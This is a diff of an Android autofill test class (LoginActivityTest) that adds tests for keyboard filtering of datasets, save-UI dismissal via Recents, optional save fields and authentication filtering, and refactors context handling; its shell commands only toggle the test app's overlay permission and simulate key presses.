import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
/**
* This is the test case covering most scenarios - other test cases will cover characteristics
@@ -99,6 +110,9 @@
*/
public class LoginActivityTest extends AutoFillServiceTestCase {
+ private static final String TAG = "LoginActivityTest";
+ private static final long MOCK_IME_TIMEOUT_MS = 5_000;
+
@Rule
public final AutofillActivityTestRule<LoginActivity> mActivityRule =
new AutofillActivityTestRule<LoginActivity>(LoginActivity.class);
@@ -603,8 +617,7 @@
final View[] overlay = new View[1];
try {
// Allow ourselves to add overlays
- runShellCommand("appops set " + getContext().getPackageName()
- + " SYSTEM_ALERT_WINDOW allow");
+ runShellCommand("appops set %s SYSTEM_ALERT_WINDOW allow", mPackageName);
// Make sure the fill UI is shown.
sUiBot.assertDatasets("The Dude");
@@ -620,7 +633,7 @@
params.width = ViewGroup.LayoutParams.MATCH_PARENT;
params.height = ViewGroup.LayoutParams.MATCH_PARENT;
- final View view = new View(getContext()) {
+ final View view = new View(mContext) {
@Override
protected void onAttachedToWindow() {
super.onAttachedToWindow();
@@ -628,7 +641,7 @@
}
};
view.setBackgroundColor(Color.RED);
- WindowManager windowManager = getContext().getSystemService(WindowManager.class);
+ WindowManager windowManager = mContext.getSystemService(WindowManager.class);
windowManager.addView(view, params);
overlay[0] = view;
});
@@ -676,11 +689,10 @@
assertNoDanglingSessions();
} finally {
// Make sure we can no longer add overlays
- runShellCommand("appops set " + getContext().getPackageName()
- + " SYSTEM_ALERT_WINDOW ignore");
+ runShellCommand("appops set %s SYSTEM_ALERT_WINDOW ignore", mPackageName);
// Make sure the overlay is removed
mActivity.runOnUiThread(() -> {
- WindowManager windowManager = getContext().getSystemService(WindowManager.class);
+ WindowManager windowManager = mContext.getSystemService(WindowManager.class);
windowManager.removeView(overlay[0]);
});
}
@@ -1021,6 +1033,73 @@
}
@Test
+ public void filterText_usingKeyboard() throws Exception {
+ sMockImeSessionRule.assumeAvailable();
+ Log.v(TAG, "filterText_usingKeyboard(): Good News, Everyone! MockIme is available!");
+
+ final String AA = "Two A's";
+ final String AB = "A and B";
+ final String B = "Only B";
+
+ final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
+
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "aa")
+ .setPresentation(createPresentation(AA))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "ab")
+ .setPresentation(createPresentation(AB))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "b")
+ .setPresentation(createPresentation(B))
+ .build())
+ .build());
+
+ final ImeEventStream stream = mockImeSession.openEventStream();
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Wait until the MockIme gets bound to the TestActivity.
+ expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
+ expectEvent(stream, editorMatcher("onStartInput", mActivity.getUsername().getId()),
+ MOCK_IME_TIMEOUT_MS);
+
+ // With no filter text all datasets should be shown
+ sUiBot.assertDatasets(AA, AB, B);
+
+ // Only two datasets start with 'a'
+ final ImeCommand cmd1 = mockImeSession.callCommitText("a", 1);
+ expectCommand(stream, cmd1, MOCK_IME_TIMEOUT_MS);
+ sUiBot.assertDatasets(AA, AB);
+
+ // Only one dataset start with 'aa'
+ final ImeCommand cmd2 = mockImeSession.callCommitText("a", 1);
+ expectCommand(stream, cmd2, MOCK_IME_TIMEOUT_MS);
+ sUiBot.assertDatasets(AA);
+
+ // Only two datasets start with 'a'
+ runShellCommand("input keyevent KEYCODE_DEL"); // NOTE: MockIme on O doesn't support it
+ sUiBot.assertDatasets(AA, AB);
+
+ // With no filter text all datasets should be shown
+ runShellCommand("input keyevent KEYCODE_DEL"); // NOTE: MockIme on O doesn't support it
+ sUiBot.assertDatasets(AA, AB, B);
+
+ // No dataset start with 'aaa'
+ final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
+ expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
public void filterTextNullValuesAlwaysMatched() throws Exception {
final String AA = "Two A's";
final String AB = "A and B";
@@ -1177,28 +1256,44 @@
assertNoDanglingSessions();
}
- enum DismissType {
- BACK_BUTTON,
- HOME_BUTTON,
- TOUCH_OUTSIDE
- }
-
@Test
public void testSaveGoesAwayWhenTappingHomeButton() throws Exception {
saveGoesAway(DismissType.HOME_BUTTON);
}
- /* TODO: add these when fixed.
@Test
public void testSaveGoesAwayWhenTappingBackButton() throws Exception {
saveGoesAway(DismissType.BACK_BUTTON);
}
@Test
+ @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+ public void testSaveGoesAwayWhenTappingRecentsButton() throws Exception {
+ // Launches new activity first...
+ startCheckoutActivityAsNewTask();
+ try {
+ // .. then the real activity being tested.
+ sUiBot.switchAppsUsingRecents();
+ sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+
+ saveGoesAway(DismissType.RECENTS_BUTTON);
+ } finally {
+ CheckoutActivity.finishIt();
+ }
+ }
+
+ @Test
public void testSaveGoesAwayWhenTouchingOutside() throws Exception {
saveGoesAway(DismissType.TOUCH_OUTSIDE);
}
- */
+
+ private void startCheckoutActivityAsNewTask() {
+ final Intent intent = new Intent(mContext, CheckoutActivity.class);
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_NEW_DOCUMENT | Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS);
+ mContext.startActivity(intent);
+ sUiBot.assertShownByRelativeId(CheckoutActivity.ID_ADDRESS);
+ }
private void saveGoesAway(DismissType dismissType) throws Exception {
enableService();
@@ -1241,6 +1336,10 @@
case TOUCH_OUTSIDE:
sUiBot.assertShownByText(expectedMessage).click();
break;
+ case RECENTS_BUTTON:
+ sUiBot.switchAppsUsingRecents();
+ sUiBot.assertShownByRelativeId(CheckoutActivity.ID_ADDRESS);
+ break;
default:
throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
}
@@ -1408,6 +1507,88 @@
}
@Test
+ public void testSaveNoRequiredField_NoneFilled() throws Exception {
+ optionalOnlyTest(FilledFields.NONE);
+ }
+
+ @Test
+ public void testSaveNoRequiredField_OneFilled() throws Exception {
+ optionalOnlyTest(FilledFields.USERNAME_ONLY);
+ }
+
+ @Test
+ public void testSaveNoRequiredField_BothFilled() throws Exception {
+ optionalOnlyTest(FilledFields.BOTH);
+ }
+
+ enum FilledFields {
+ NONE,
+ USERNAME_ONLY,
+ BOTH
+ }
+
+ private void optionalOnlyTest(FilledFields filledFields) throws Exception {
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD)
+ .setOptionalSavableIds(ID_USERNAME, ID_PASSWORD)
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Sanity check.
+ sUiBot.assertNoDatasets();
+
+ // Wait for onFill() before proceeding, otherwise the fields might be changed before
+ // the session started
+ sReplier.getNextFillRequest();
+
+ // Set credentials...
+ final String expectedUsername;
+ if (filledFields == FilledFields.USERNAME_ONLY || filledFields == FilledFields.BOTH) {
+ expectedUsername = BACKDOOR_USERNAME;
+ mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+ } else {
+ expectedUsername = "";
+ }
+ mActivity.onPassword(View::requestFocus);
+ if (filledFields == FilledFields.BOTH) {
+ mActivity.onPassword((v) -> v.setText("whatever"));
+ }
+
+ // ...and login
+ final String expectedMessage = getWelcomeMessage(expectedUsername);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+ if (filledFields == FilledFields.NONE) {
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+ assertNoDanglingSessions();
+ return;
+ }
+
+ // Assert the snack bar is shown and tap "Save".
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+ // Assert value of expected fields - should not be sanitized.
+ final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+ assertTextAndValue(username, BACKDOOR_USERNAME);
+
+ if (filledFields == FilledFields.BOTH) {
+ final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+ assertTextAndValue(password, "whatever");
+ }
+
+ // Sanity check: once saved, the session should be finished.
+ assertNoDanglingSessions();
+ }
+
+ @Test
public void testGenericSave() throws Exception {
customizedSaveTest(SAVE_DATA_TYPE_GENERIC);
}
@@ -1505,7 +1686,7 @@
// Prepare the authenticated response
final Bundle clientState = new Bundle();
clientState.putString("numbers", "4815162342");
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
@@ -1594,7 +1775,7 @@
// Prepare the authenticated response
final Bundle clientState = new Bundle();
clientState.putString("numbers", "4815162342");
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
@@ -1650,15 +1831,20 @@
}
@Test
- public void testFillResponseAuthServiceHasNoData() throws Exception {
+ public void testFillResponseAuthWhenAppCallsCancel() throws Exception {
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
- new CannedFillResponse.Builder()
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setId("name")
+ .setPresentation(createPresentation("Dataset"))
+ .build())
.build());
// Configure the service behavior
@@ -1667,6 +1853,66 @@
.setPresentation(createPresentation("Tap to auth response"))
.build());
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth response");
+
+ // Disables autofill so it's not triggered again after the auth activity is finished
+ // (and current session is canceled) and the login activity is resumed.
+ username.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO);
+
+ // Autofill it.
+ final CountDownLatch latch = new CountDownLatch(1);
+ AuthenticationActivity.setResultCode(latch, RESULT_OK);
+
+ sUiBot.selectDataset("Tap to auth response");
+ callback.assertUiHiddenEvent(username);
+
+ // Cancel session...
+ mActivity.getAutofillManager().cancel();
+
+ // ...before finishing the Auth UI.
+ latch.countDown();
+
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
+ public void testFillResponseAuthServiceHasNoDataButCanSave() throws Exception {
+ fillResponseAuthServiceHasNoDataTest(true);
+ }
+
+ @Test
+ public void testFillResponseAuthServiceHasNoData() throws Exception {
+ fillResponseAuthServiceHasNoDataTest(false);
+ }
+
+ private void fillResponseAuthServiceHasNoDataTest(boolean canSave) throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Prepare the authenticated response
+ final CannedFillResponse response = canSave
+ ? new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .build()
+ : CannedFillResponse.NO_RESPONSE;
+
+ final IntentSender authentication =
+ AuthenticationActivity.createSender(mContext, 1, response);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+ .setPresentation(createPresentation("Tap to auth response"))
+ .build());
+
// Trigger auto-fill.
mActivity.onUsername(View::requestFocus);
@@ -1682,6 +1928,75 @@
}
@Test
+ public void testFillResponseFiltering() throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Prepare the authenticated response
+ final Bundle clientState = new Bundle();
+ clientState.putString("numbers", "4815162342");
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setId("name")
+ .setPresentation(createPresentation("Dataset"))
+ .build())
+ .setExtras(clientState).build());
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+ .setPresentation(createPresentation("Tap to auth response"))
+ .setExtras(clientState)
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth response");
+
+ // ..then type something to hide it.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert it's shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth response");
+
+ // ...and select it this time
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ sUiBot.selectDataset("Tap to auth response");
+ callback.assertUiHiddenEvent(username);
+ callback.assertUiShownEvent(username);
+ final UiObject2 picker = sUiBot.assertDatasets("Dataset");
+ sUiBot.selectDataset(picker, "Dataset");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+
+ final Bundle data = AuthenticationActivity.getData();
+ assertThat(data).isNotNull();
+ final String extraValue = data.getString("numbers");
+ assertThat(extraValue).isEqualTo("4815162342");
+ }
+
+ @Test
public void testDatasetAuthTwoFields() throws Exception {
datasetAuthTwoFields(false);
}
@@ -1701,7 +2016,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
@@ -1780,7 +2095,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
@@ -1841,7 +2156,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
// Create the authentication intent
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
@@ -1894,9 +2209,9 @@
.setField(ID_PASSWORD, "sweet")
.setPresentation(bogusPresentation)
.build();
- final IntentSender authentication1 = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
unlockedDataset);
- final IntentSender authentication2 = AuthenticationActivity.createSender(getContext(), 2,
+ final IntentSender authentication2 = AuthenticationActivity.createSender(mContext, 2,
unlockedDataset);
// Configure the service behavior
@@ -1953,7 +2268,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
@@ -2003,11 +2318,162 @@
}
@Test
+ public void testDatasetAuthFiltering() throws Exception {
+ // TODO: current API requires these fields...
+ final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+ final String bogusValue = "Y U REQUIRE IT?";
+
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(bogusPresentation)
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, bogusValue)
+ .setField(ID_PASSWORD, bogusValue)
+ .setPresentation(createPresentation("Tap to auth dataset"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // ..then type something to hide it.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert it's shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // ...and select it this time
+ sUiBot.selectDataset("Tap to auth dataset");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
+ public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
+ datasetAuthMixedFilteringTest(true);
+ }
+
+ @Test
+ public void testDatasetAuthMixedFilteringSelectNonAuth() throws Exception {
+ datasetAuthMixedFilteringTest(false);
+ }
+
+ private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
+ // TODO: current API requires these fields...
+ final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+ final String bogusValue = "Y U REQUIRE IT?";
+
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "DUDE")
+ .setField(ID_PASSWORD, "SWEET")
+ .setPresentation(bogusPresentation)
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, bogusValue)
+ .setField(ID_PASSWORD, bogusValue)
+ .setPresentation(createPresentation("Tap to auth dataset"))
+ .setAuthentication(authentication)
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("What, me auth?"))
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ if (selectAuth) {
+ mActivity.expectAutoFill("DUDE", "SWEET");
+ } else {
+ mActivity.expectAutoFill("dude", "sweet");
+ }
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+ // Filter the auth dataset.
+ runShellCommand("input keyevent KEYCODE_D");
+ sUiBot.assertDatasets("What, me auth?");
+
+ // Filter all.
+ runShellCommand("input keyevent KEYCODE_W");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert the non-auth is shown again.
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("What, me auth?");
+
+ // Delete again and assert all dataset are shown.
+ runShellCommand("input keyevent KEYCODE_DEL");
+ sUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+ // ...and select it this time
+ final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
+ sUiBot.selectDataset(chosenOne);
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
public void testDisableSelf() throws Exception {
enableService();
// Can disable while connected.
- mActivity.runOnUiThread(() -> getContext().getSystemService(
+ mActivity.runOnUiThread(() -> mContext.getSystemService(
AutofillManager.class).disableAutofillServices());
// Ensure disabled.
@@ -2024,7 +2490,7 @@
// Configure the save UI.
final IntentSender listener = PendingIntent.getBroadcast(
- getContext(), 0, new Intent(intentAction), 0).getIntentSender();
+ mContext, 0, new Intent(intentAction), 0).getIntentSender();
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
@@ -2045,10 +2511,10 @@
// Start watching for the negative intent
final CountDownLatch latch = new CountDownLatch(1);
final IntentFilter intentFilter = new IntentFilter(intentAction);
- getContext().registerReceiver(new BroadcastReceiver() {
+ mContext.registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- getContext().unregisterReceiver(this);
+ mContext.unregisterReceiver(this);
latch.countDown();
}
}, intentFilter);
@@ -2073,7 +2539,7 @@
// Configure the save UI.
final IntentSender listener = PendingIntent.getBroadcast(
- getContext(), 0, new Intent(intentAction), 0).getIntentSender();
+ mContext, 0, new Intent(intentAction), 0).getIntentSender();
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
@@ -2094,10 +2560,10 @@
// Start watching for the negative intent
final CountDownLatch latch = new CountDownLatch(1);
final IntentFilter intentFilter = new IntentFilter(intentAction);
- getContext().registerReceiver(new BroadcastReceiver() {
+ mContext.registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- getContext().unregisterReceiver(this);
+ mContext.unregisterReceiver(this);
latch.countDown();
}
}, intentFilter);
@@ -2414,6 +2880,7 @@
.build();
for (int i = 1; i <= 3; i++) {
+ Log.i(TAG, "testCommitMultipleTimes(): step " + i);
final String username = "user-" + i;
final String password = "pass-" + i;
try {
@@ -2456,9 +2923,8 @@
waitUntilDisconnected();
assertNoDanglingSessions();
-
} catch (RetryableException e) {
- throw e;
+ throw new RetryableException(e, "on step %d", i);
} catch (Throwable t) {
throw new Throwable("Error on step " + i, t);
}
@@ -2471,6 +2937,7 @@
enableService();
for (int i = 1; i <= 3; i++) {
+ Log.i(TAG, "testCancelMultipleTimes(): step " + i);
final String username = "user-" + i;
final String password = "pass-" + i;
sReplier.addResponse(new CannedDataset.Builder()
@@ -2513,17 +2980,16 @@
// Set service.
enableService();
- Intent intent = new Intent(getContext(), EmptyActivity.class);
- IntentSender sender = PendingIntent.getActivity(getContext(), 0, intent,
+ Intent intent = new Intent(mContext, EmptyActivity.class);
+ IntentSender sender = PendingIntent.getActivity(mContext, 0, intent,
PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_CANCEL_CURRENT)
.getIntentSender();
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.list_item);
+ RemoteViews presentation = new RemoteViews(mPackageName, R.layout.list_item);
presentation.setTextViewText(R.id.text1, "Poke");
- Intent firstIntent = new Intent(getContext(), DummyActivity.class);
+ Intent firstIntent = new Intent(mContext, DummyActivity.class);
presentation.setOnClickPendingIntent(R.id.text1, PendingIntent.getActivity(
- getContext(), 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
+ mContext, 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
| PendingIntent.FLAG_CANCEL_CURRENT));
// Set expectations.
@@ -2560,7 +3026,7 @@
clientState.putCharSequence("clientStateKey", "clientStateValue");
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
@@ -2575,6 +3041,7 @@
.setAuthentication(authentication)
.build())
.setExtras(clientState).build());
+ mActivity.expectAutoFill("dude", "sweet");
// Trigger autofill.
mActivity.onUsername(View::requestFocus);
@@ -2582,22 +3049,18 @@
// Authenticate
sUiBot.selectDataset("authentication");
sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
- eventually(() -> {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+ "clientStateValue");
- assertThat(selection.getEvents().size()).isEqualTo(2);
- FillEventHistory.Event event1 = selection.getEvents().get(0);
- assertThat(event1.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
- assertThat(event1.getDatasetId()).isEqualTo("name");
- FillEventHistory.Event event2 = selection.getEvents().get(1);
- assertThat(event2.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event2.getDatasetId()).isNull();
- });
+ assertThat(selection.getEvents().size()).isEqualTo(1);
+ FillEventHistory.Event event = selection.getEvents().get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
+ assertThat(event.getDatasetId()).isEqualTo("name");
}
@Test
@@ -2609,7 +3072,7 @@
clientState.putCharSequence("clientStateKey", "clientStateValue");
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setField(ID_USERNAME, "username")
@@ -2629,19 +3092,18 @@
// Authenticate
sUiBot.selectDataset("authentication");
sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset");
- eventually(() -> {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+ "clientStateValue");
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- });
+ assertThat(selection.getEvents().size()).isEqualTo(1);
+ FillEventHistory.Event event = selection.getEvents().get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
+ assertThat(event.getDatasetId()).isNull();
}
@Test
@@ -2655,13 +3117,16 @@
.setPresentation(createPresentation("dataset1"))
.build())
.build());
+ mActivity.expectAutoFill("username");
// Trigger autofill on username
mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
sUiBot.selectDataset("dataset1");
sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2671,7 +3136,7 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isNull();
- });
+ }
// Set up second partition with a named dataset
Bundle clientState = new Bundle();
@@ -2692,13 +3157,15 @@
.build())
.setExtras(clientState)
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+ mActivity.expectPasswordAutoFill("password3");
// Trigger autofill on password
mActivity.onPassword(View::requestFocus);
sUiBot.selectDataset("dataset3");
sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2709,12 +3176,13 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isEqualTo("name3");
- });
+ }
mActivity.onPassword((v) -> v.setText("new password"));
mActivity.syncRunOnUiThread(() -> mActivity.finish());
+ waitUntilDisconnected();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2729,7 +3197,7 @@
FillEventHistory.Event event2 = selection.getEvents().get(1);
